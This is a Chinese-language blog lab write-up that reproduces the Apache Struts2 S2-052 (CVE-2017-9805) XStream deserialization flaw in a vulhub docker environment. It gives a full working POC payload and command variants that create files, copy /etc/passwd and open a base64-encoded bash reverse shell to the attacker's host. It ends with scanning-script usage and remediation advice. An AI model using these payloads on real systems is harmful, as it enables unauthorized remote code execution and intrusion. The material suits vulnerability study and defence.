🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、漏洞编号
- 二、影响范围
- 三、漏洞描述
- 四、环境搭建
- 1、进入s2-052环境
- 2、启动s2-052环境
- 3、查看s2-052环境
- 4、访问s2-052环境
- 5、查看s2-052漏洞提示信息
- 6、关闭s2-052环境
- 五、漏洞复现
- 1、POC
- 2、进入漏洞页面
- 3、进入漏洞点抓包
- 4、创建文件
- 1.修改数据包在/tmp目录下创建PowerShell.txt文件
- 2.进行重放攻击
- 3.PowerShell.txt文件创建成功
- 5、读取文件
- 1.修改数据包进行重放攻击
- 2.读取文件成功
- 6、写文件
- 1.修改数据包进行重放攻击
- 2.文件写入成功
- 六、getshell
- 1、攻击机监听
- 2、靶机连接
- 1.反弹shell命令
- 2.exec编码
- 3.构造payload
- 4.执行命令
- 3、getshell成功
- 七、脚本检测
- 1、单个url检测
- 2、批量url检测
- 八、漏洞修复
- 九、相关资源
一、漏洞编号
s2-052
CVE-2017-9805
二、影响范围
Struts 2.1.6 - Struts 2.3.33
Struts 2.5 - Struts 2.5.12
三、漏洞描述
Apache Struts2的REST插件存在远程代码执行的高危漏洞,其编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
四、环境搭建
1、进入s2-052环境
cd vulhub/struts2/s2-052
2、启动s2-052环境
docker-compose up -d
3、查看s2-052环境
docker-compose ps
4、访问s2-052环境
http://ip:端口/orders
http://192.168.233.128:8080/orders
5、查看s2-052漏洞提示信息
cat README.md
6、关闭s2-052环境
复现完记得关闭环境
docker-compose down
五、漏洞复现
1、POC
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
命令插入区域
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
2、进入漏洞页面
http://ip:端口/orders
http://192.168.233.128:8080/orders
3、进入漏洞点抓包
点击一个edit进行编译页面,然后提交,并用burp抓包,放入重放攻击模块。
抓到的数据包如下
4、创建文件
1.修改数据包在/tmp目录下创建PowerShell.txt文件
Content-Type: application/x-www-form-urlencoded 修改为:
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中
<command>
<string>touch</string>
<string>/tmp/PowerShell.txt</string>
</command>
2.进行重放攻击
返回500状态码,但是文件已经创建成功
3.PowerShell.txt文件创建成功
进入容器查看,发现PowerShell.txt文件创建成功
docker ps
docker exec -it f3bcbfbef902 /bin/bash
ls /tmp
5、读取文件
1.修改数据包进行重放攻击
Content-Type: application/x-www-form-urlencoded 修改为
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中
<command>
<string>cp</string>
<string>/etc/passwd</string>
<string>/tmp/passwd</string>
</command>
2.读取文件成功
进入容器查看文件是否写入成功
docker ps
docker exec -it f3bcbfbef902 /bin/bash
ls /tmp
cat /tmp/passwd
6、写文件
1.修改数据包进行重放攻击
Content-Type: application/x-www-form-urlencoded 修改为
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中
<command>
<string>bash</string>
<string>-c</string>
<string>echo micr067 > /tmp/test.txt</string>
</command>
2.文件写入成功
进入容器查看文件是否写入成功
docker ps
docker exec -it f3bcbfbef902 /bin/bash
ls /tmp
cat /tmp/test.txt
六、getshell
1、攻击机监听
nc -lvvp 55555
Nc反弹shell在文末给出
2、靶机连接
1.反弹shell命令
Bash反弹shell详解在文末给出
bash -i >& /dev/tcp/192.168.233.1/55555 0>&1
2.exec编码
编码工具在文末给出
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}
3.构造payload
Content-Type: application/x-www-form-urlencoded 修改为
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中
<command>
<string>bash</string>
<string>-c</string> <string>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}</string>
</command>
4.执行命令
直接进行重放攻击
3、getshell成功
等了一小会儿之后发现shell反弹过来了
执行ls /tmp发现我们之前创建的文件
七、脚本检测
检测脚本CVE-2017-9805_POC.py在文末给出。
当状态是 Status: Vulnerable!时就存在漏洞。
1、单个url检测
python CVE-2017-9805_POC.py -u http://192.168.233.128:8080/orders/3/edit
2、批量url检测
python CVE-2017-9805_POC.py --list url.txt
八、漏洞修复
1、升级到Apache Struts版本到最新版本
2、最好的选择是在不使用时删除Struts REST插件,或仅限于服务器普通页面和JSONs:
3、限制服务端扩展类型,删除XML支持。
由于应用的可用类的默认限制,某些REST操作可能会停止工作。在这种情况下,请调查介绍的新接口以允许每个操作定义类限制,那些接口是:
org.apache.struts2.rest.handler.AllowedClasses
org.apache.struts2.rest.handler.AllowedClassNames
org.apache.struts2.rest.handler.XStreamPermissionProvider
九、相关资源
1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
5、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
6、Exec编码工具
7、检测脚本CVE-2017-9805_POC.py